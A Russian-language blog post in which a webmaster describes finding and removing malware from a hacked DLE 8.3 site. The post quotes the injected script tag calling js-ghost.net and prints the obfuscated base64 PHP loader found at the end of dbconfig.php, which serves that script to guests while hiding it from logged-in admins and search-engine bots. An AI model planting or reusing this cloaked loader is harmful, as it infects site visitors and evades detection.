Сколько я не работал с разными движками – dle остается самым дырявым корытом, в которое постоянно сливают помои в виде вирусов. Ни одна дыра, так другая. Ни другая – так третья. Постоянно приходится обновляться и следить за тем, чтобы на сайтах не появилось новых ссылок, заключенных в display: none. Этот геморой уже порядком надоел и вместо того, чтобы развивать сайты, приходится по полдня выяснять, где же эта сука (вирус) засела.

Вот и сегодня приключился казус. Просыпаюсь как обычно утром, часов эдак в 2. Завтракаю и захожу в панель вебмастера от Яндекса, чтобы глянуть на сайты. Параллельно вижу по статистике посещаемости, что трафик на одном из сайтов идет на уровне “-500″, по сравнению с прошлым днем. Тревожный звонок, ага. Это как тёща, которая звонит и говорит, что все дела по дому у себя сделала и думает чем бы ей заняться. Припрётся, точно. Итак, захожу в панель – и вижу напротив сайта значок, похожий на знак радиационной угрозы, только красный. Такой меткой Яндекс помечает сайты, зараженные вирусом, а в выдаче мы можем наблюдать “Этот сайт может нанести вред вашему компьютеру”.
Я почти не удивился, DLE же. Полез искать заразу. Так как я был залогинен админом на сайте, то исходный код был чистым. Вирус не показывался тем, кто заходит под своим аккаунтом на сайт. Зато для гостей был виден кусок кода, сразу перед html. Выглядит оно так:
<script language=”JavaScript” charset=”windows-1251″ rel=”nofollow” src=”http://js-ghost.net/gate.php?id=666″></script>
Начал искать в шаблонах этот код – нету. Перерыл все файлы на сервере, дата изменения которых была относительно свежей. Хрен там. Часа 2 потратил на то, чтобы найти информацию по этой строчке. Яша и гугл почти ничего не сказали. Только локальные случаи, на которых никто не мог найти решения. Слил весь сайт себе на жесткий, стал искать разные варианты адреса – тоже хрен. Глупо было надеятся, что этот код будет лежать в файле в открытом виде. Было бы слишком просто.
Потом начал искать общую инфу по вирусам в dle и смотреть, куда они обычно прописывают себя. И, алиллуйя, добрался до файла engine/data/dbconfig.php (конфигурационный файл базы данных), где в конце был вписан код:
$GLOBALS['_gro_']=Array(base64_decode(‘cHJlZ19tYXR’ .’ja’ .’A==’),base64_decode(‘cHJl’ .’Z19tYXRj’ .’aA=’ .’='),base64_decode(‘cHJlZ19′ .’tY’ .’XRjaA==’)); ?><? function gro($i){$a=Array(‘ZGxlX3Bhc3N3b3Jk’,'L3lhbmRleC9p’,'SFRUUF9VU0VSX0FHRU5U’,'L2dvb2dsZS9p’,'SFRUUF9
VU0VSX0FHRU5U’,'L2JvdC9p’,'SFRUUF9VU0VSX0FHRU5U’,'PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNj
cmlwdCIgY2hhcnNldD0id2luZG93cy0xMjUxIiByZWw9Im5vZm9sbG93IiBzcmM9Imh0dHA6Ly9qcy1naG
9zdC5uZXQvZ2F0ZS5waHA/aWQ9NjY2Ij48L3NjcmlwdD4=’);return base64_decode($a[$i]);} ?><? if((!isset($_COOKIE[gro(0)]))and(!$GLOBALS['_gro_'][0](gro(1),$_SERVER[gro(2)]))and(!$GLOBALS['_gro_'][1](gro(3),$_SERVER[gro(4)]))and(!$GLOBALS['_gro_'][2](gro(5),$_SERVER[gro(6)]))){echo gro(7);}
Эта зараза как раз и давала такой эффект. Причем дата изменения файла была древней и поэтому я не обращал на это внимания. Позже в админке обнаружился второй админ, который появился на сайте неделю назад. Удалил его и переименовал файл admin.php, чтобы ворота у сайта не были так явно открыты.
Можно было обновить версию движка (у меня стоит 8.3), но было влом, поэтому потратил куеву тучу времени на поиск этой заразы. Надеюсь, я не один такой раздолбай с дыркой в dle и эта инфа пригодится еще кому-нибудь (: трулала…